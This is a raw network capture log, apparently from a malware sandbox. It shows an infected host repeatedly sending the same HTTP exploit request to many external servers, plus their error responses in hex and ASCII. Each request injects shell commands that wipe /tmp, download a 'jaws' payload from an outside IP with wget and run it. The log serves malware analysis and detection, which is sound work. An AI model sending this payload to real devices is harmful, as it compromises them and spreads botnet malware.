Mar 13, 2024 09:35:49.348273039 CET	404	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:49 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.15	49982	23.14.68.121	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:49.348562956 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:49.610548973 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Wed, 13 Mar 2024 08:35:49 GMT Date: Wed, 13 Mar 2024 08:35:49 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 32 30 65 33 63 31 37 26 23 34 36 3b 31 37 31 30 33 31 38 39 34 39 26 23 34 36 3b 31 32 64 32 30 61 37 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.520e3c17.1710318949.12d20a76</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.15	49296	13.113.48.164	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:49.385754108 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.15	34408	39.61.132.49	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:49.407555103 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:49.706049919 CET	383	IN	HTTP/1.1 404 Not Found Server: micro_httpd Cache-Control: no-cache Date: Thu, 01 Jan 1970 00:22:19 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 63 72 6f 5f 68 74 74 70 64 2f 22 3e 6d 69 63 72 6f 5f 68 74 74 70 64 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.15	37622	103.240.146.109	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:49.413983107 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:49.754606962 CET	419	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:06 GMT Server: Apache/2.4.6 (CentOS) Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.15	34424	39.61.132.49	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:49.999099016 CET	391	IN	HTTP/1.1 400 Bad Request Server: micro_httpd Cache-Control: no-cache Date: Thu, 01 Jan 1970 00:22:19 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 63 72 6f 5f 68 74 74 70 64 2f 22 3e 6d 69 63 72 6f 5f 68 74 74 70 64 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.<HR><ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.15	42956	72.46.57.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:50.893830061 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:51.015706062 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:35:49 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.15	58338	208.87.99.128	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:51.175149918 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:51.333544970 CET	491	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 297 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6d 35 2e 73 62 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.41 (Ubuntu) Server at m5.sb Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.15	52678	202.130.202.115	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:51.496268988 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:51.817622900 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:35:51 GMT Date: Wed, 13 Mar 2024 08:35:51 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 66 63 61 38 32 63 61 26 23 34 36 3b 31 37 31 30 33 31 38 39 35 31 26 23 34 36 3b 34 32 63 30 32 33 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.6fca82ca.1710318951.42c0238</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.15	59572	101.178.248.87	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:51.514576912 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:51.857289076 CET	508	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Wed, 13 Mar 2024 08:35:50 GMT Server: Tieline Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.15	47608	124.223.47.85	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:51.547302008 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:51.920377970 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.2 Date: Wed, 13 Mar 2024 08:35:51 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.15	50684	50.2.159.150	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:53.060125113 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:53.193886995 CET	322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 13 Mar 2024 08:35:53 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.15	35320	140.248.140.53	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:53.152604103 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:53.240094900 CET	160	IN	HTTP/1.1 400 Bad Request Connection: close Content-Length: 11 content-type: text/plain; charset=utf-8 x-served-by: cache-ewr18163 Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.15	55944	67.199.102.71	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:53.301963091 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:53.451546907 CET	1286	IN	HTTP/1.1 200 OK Content-Length: 4417 Connection: Close Cache-Control: no-cache Content-Type: text/html; charset=utf-8 X-Frame-Options: SAMEORIGIN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 38 3b 20 49 45 3d 45 44 47 45 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 61 36 61 36 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 64 61 74 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 69 6d 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 36 32 36 32 36 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 2e 32 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 31 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 61 39 61 39 61 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 32 70 78 20 2e 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=8; IE=EDGE"> <meta name="viewport" content="width=device-width, initial-scale=1"> <style type="text/css"> body { height: 100%; font-family: Helvetica, Arial, sans-serif; color: #6a6a6a; margin: 0; display: flex; align-items: center; justify-content: center; } input[type=date], input[type=email], input[type=number], input[type=password], input[type=search], input[type=tel], input[type=text], input[type=time], input[type=url], select, textarea { color: #262626; vertical-align: baseline; margin: .2em; border-style: solid; border-width: 1px; border-color: #a9a9a9; background-color: #fff; box-sizing: border-box; padding: 2px .5em; appearance: none;
Mar 13, 2024 09:35:53.451653004 CET	1286	IN	Data Raw: 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 70 75 74 3a 66 6f 63 75 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 Data Ascii: border-radius: 0; } input:focus { border-color: #646464; box-shadow: 0 0 1px 0 #a2a2a2; outline: 0; } button { padding: .5em 1em;
Mar 13, 2024 09:35:53.451783895 CET	1286	IN	Data Raw: 72 67 62 61 28 30 2c 30 2c 30 2c 2e 35 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 61 62 6c 65 20 3e 20 74 62 6f 64 79 20 3e 20 74 72 20 3e 20 74 64 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 20 7b 0a Data Ascii: rgba(0,0,0,.5); } table > tbody > tr > td:first-of-type { vertical-align: top; } table > tbody > tr > td { padding: .3em .3em; } .field {
